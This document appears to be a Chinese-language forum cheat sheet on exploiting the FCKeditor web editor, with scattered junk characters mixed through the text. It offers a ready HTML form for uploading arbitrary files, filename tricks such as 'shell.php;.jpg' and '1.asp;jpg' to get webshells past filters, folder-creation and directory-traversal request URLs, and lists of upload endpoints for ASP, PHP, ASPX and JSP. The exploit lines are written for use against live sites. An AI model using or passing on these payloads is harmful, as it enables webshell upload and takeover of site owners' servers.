Fckeditor漏洞利用总结 & n8 `0 F9 d3 K/ c8 c
查看编辑器版本, ?* o3 R& U) @- ?, i3 S
FCKeditor/_whatsnew.html
9 F! Y2 n# Z. J6 ~. k z—————————————————————————————————————————————————————————————
7 J' v2 r2 p5 W& x! L. _$ C. ~+ N/ Z8 e% d8 \. e* j
2. Version 2.2 版本8 ^# Z2 f/ L- \* F& X- E! P8 a
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
( z2 f6 u8 R/ `( R—————————————————————————————————————————————————————————————# l `& t2 G# W, V. s* L) n% }- B
! q5 q+ g9 Y4 l$ W! O7 }/ \( J3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
( `' c4 u7 P- u6 M, t<form id="frmUpload" enctype="multipart/form-data"
0 ?0 w$ U$ ^3 P( F+ e0 B6 o% g3 Saction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
( z9 [' D; K- n7 \7 E% V6 E<input type="file" name="NewFile" size="50"><br>
1 a7 v0 z6 c2 N" y<input id="btnUpload" type="submit" value="Upload">
5 j( h3 O9 b! h+ Q</form>
6 C* H5 v+ K; @4 @2 t—————————————————————————————————————————————————————————————6 ^+ s/ L; k, ~' e
+ ^! I# O b+ j7 ^9 A6 J; R% t4.FCKeditor 文件上传“.”变“_”下划线的绕过方法# L- d/ N0 p: f4 ^( L% ^+ x; I4 ~
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
6 C& M! a7 ]: b7 k, m0 [ 4.1:提交shell.php+空格绕过7 J9 Y" F6 o9 M$ S# O
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
8 o# |: U2 Z( G& q/ F! I( } 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。0 J% W: A* d2 }- j: j0 l
—————————————————————————————————————————————————————————————# j+ x1 w0 c' }* D
$ d0 ~0 L* `* N; n. {1 b
5. 突破建立文件夹
( ]# A' ^4 R- { M$ x. AFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684* K( X. d& _! U5 i$ {8 `
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp0 e' X4 z+ Q. n5 q5 m3 Z1 y; k
—————————————————————————————————————————————————————————————; {5 L9 L! V, ?' |; k# \
5 o; e3 p- [3 I6. FCKeditor 中test 文件的上传地址
! C( l; r. y% E' T' F% J- T* y# J9 BFCKeditor/editor/filemanager/browser/default/connectors/test.html+ q5 G# W$ N( M7 z; P, r6 E v; A
FCKeditor/editor/filemanager/upload/test.html
" `; E6 L, @( q* N6 IFCKeditor/editor/filemanager/connectors/test.html7 Z0 g4 n$ ~6 o% J x j1 i8 ]' l* P
FCKeditor/editor/filemanager/connectors/uploadtest.html X' L9 @9 ]- Y6 S
—————————————————————————————————————————————————————————————
5 t* }: X. F- {' O
: m# n3 W; U5 ^4 ?0 N# q7.常用上传地址
1 T+ o" w6 K+ }4 g) RFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
0 _' x, w3 {/ m' [7 w/ ?( ^# F& xFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp! I. y }% X. h/ s& o
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)0 ]+ ?5 B- W0 g y' D; v$ Q
JSP 版:' Y; e9 s/ |8 I# j; L8 e6 H9 {
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
5 `( P0 X8 l$ F9 C5 b% E注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
8 M& m1 ]+ Z( q3 \* G* J" l9 r9 j7 l件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
+ A! O$ x/ S$ N' b, u& D—————————————————————————————————————————————————————————————* M5 M: F r: B1 C
$ l: B' e; k7 f3 M! T( w
8.其他上传地址8 J7 o" Z* N0 s0 q
FCKeditor/_samples/default.html* [5 a% S: N$ Z1 v- m5 z3 b- |
FCKeditor/_samples/asp/sample01.asp
5 \/ n+ I) z& P2 \; {FCKeditor/_samples/asp/sample02.asp. H+ ^; n7 x% h5 D9 O) c/ u: i: f3 `
FCKeditor/_samples/asp/sample03.asp
6 H1 D' v) d' oFCKeditor/_samples/asp/sample04.asp
2 b8 y( r. p* h, _/ }' O; B! M一般很多站点都已删除_samples 目录,可以试试。
0 V5 P5 t. z9 M0 q' A4 b! x5 c! t2 IFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
5 g9 w- b/ ^+ o8 f2 {5 \7 H—————————————————————————————————————————————————————————————# L4 X# Y3 N# B- @' S6 v( P' o
0 X) {! S1 b* j% x1 a9.列目录漏洞也可助找上传地址" j: m% {9 C" u ^0 x9 r' |' ]5 f
Version 2.4.1 测试通过
9 H% ]7 V- D/ `6 w/ [+ h, _修改CurrentFolder 参数使用 ../../来进入不同的目录
- U! D; K( e) N! ?7 r$ D/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp c+ p: V" b0 `; `
根据返回的XML 信息可以查看网站所有的目录。
$ q8 M3 _) t1 ?) n3 z9 dFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F u* [2 F8 P& d
也可以直接浏览盘符:
; u2 _) O) D! M( VJSP 版本:
9 V/ s& z/ b; d3 I; x" ?! uFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
2 X" E5 L, x* w+ B$ }—————————————————————————————————————————————————————————————
9 @+ S( B5 i9 ~& t3 ~
; s5 b; x7 X1 Z10.爆路径漏洞
9 _4 B7 |" S/ `% b3 eFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
7 [8 F% [8 v, p" O) A) X$ O1 G—————————————————————————————————————————————————————————————, h+ q- a3 ]) o9 |
h5 W9 F$ ]- z/ R( F$ {8 J
11. FCKeditor 被动限制策略所导致的过滤不严问题
1 J% Z, {% o0 g5 n! f 影响版本: FCKeditor x.x <= FCKeditor v2.4.3" z: J' x4 o4 l: a0 A9 `
脆弱描述:
0 D* `7 e1 }! n+ |- cFCKeditor v2.4.3 中File 类别默认拒绝上传类型:. k- K$ {! e" U8 @
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
: S' V. a, {+ P) O# B: b* O& hFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
H& m# f0 O" v6 V. I% i7 Z% T, R" D 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
: v- M# ^: r" Y; z 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!. U0 N4 d; c" |! V
—————————————————————————————————————————————————————————————, }/ j) f0 J, {0 H6 [
7 f5 n# L! {" M- ?
12.最古老的漏洞,Type文件没有限制!
4 a" y& y% l; S+ g5 W! Q# }& }0 _- A 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 1 h3 x% P1 \" i$ C% ~4 m
————————————————————————————————————————————————————————————— B; t7 I( s, r; W" X; N
& ]8 N# ]5 l4 r2 m=============================================================================================================================================== n; x2 m+ I r8 ]4 K, W
& T% l( }5 p' M, m/ b
FCK编辑器jsp版本漏洞:0 B( j1 g. q) k$ ^1 D* X
, J+ Z9 _7 z- b( ]
4 O& N, \" Y5 z! @" _( u# a# Ohttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F( x+ I o- \- r8 F
6 f k+ E- w/ k
上传马所在目录$ Q5 E+ Y, p. `+ {5 T5 ~- [2 A
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
8 ^* d: }. q& h% {' p. R4 W上传shell的地址:
3 D( l% t* t! n7 a# t3 q4 G" Xhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector C, H* `& k! U
跟版本有关系.并不是百分百成功. 测试成功几个站.
& c* u) p) I7 M9 \0 U不能通杀.很遗憾.
# @ i8 [- j% O1 a9 @ n8 y6 Qhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector' ?; b4 A ?( `$ w' g
如果以上地址不行可以试试0 x2 [4 {1 b5 J# X& W! p# h, n
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector* n3 H) H6 V9 j p
FCKeditor/_samples/& t0 Y% S! i/ x5 v
FCKeditor/_samples/default.html
* O; R5 u& h2 NFCKeditor/editor/fckeditor.htm6 c7 ?4 b1 C4 Y% u
FCKeditor/editor/fckdialog.html
6 l$ `+ I1 O- X- y1 p5 N5 T O" S
8 Y1 E& z2 q9 H8 @
; |: P, ~% ]; Q0 o( y0 _3 o% P4 Q; u# o, a8 b/ q6 B1 s7 Z
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
0 B# E! _* W& d: D; B |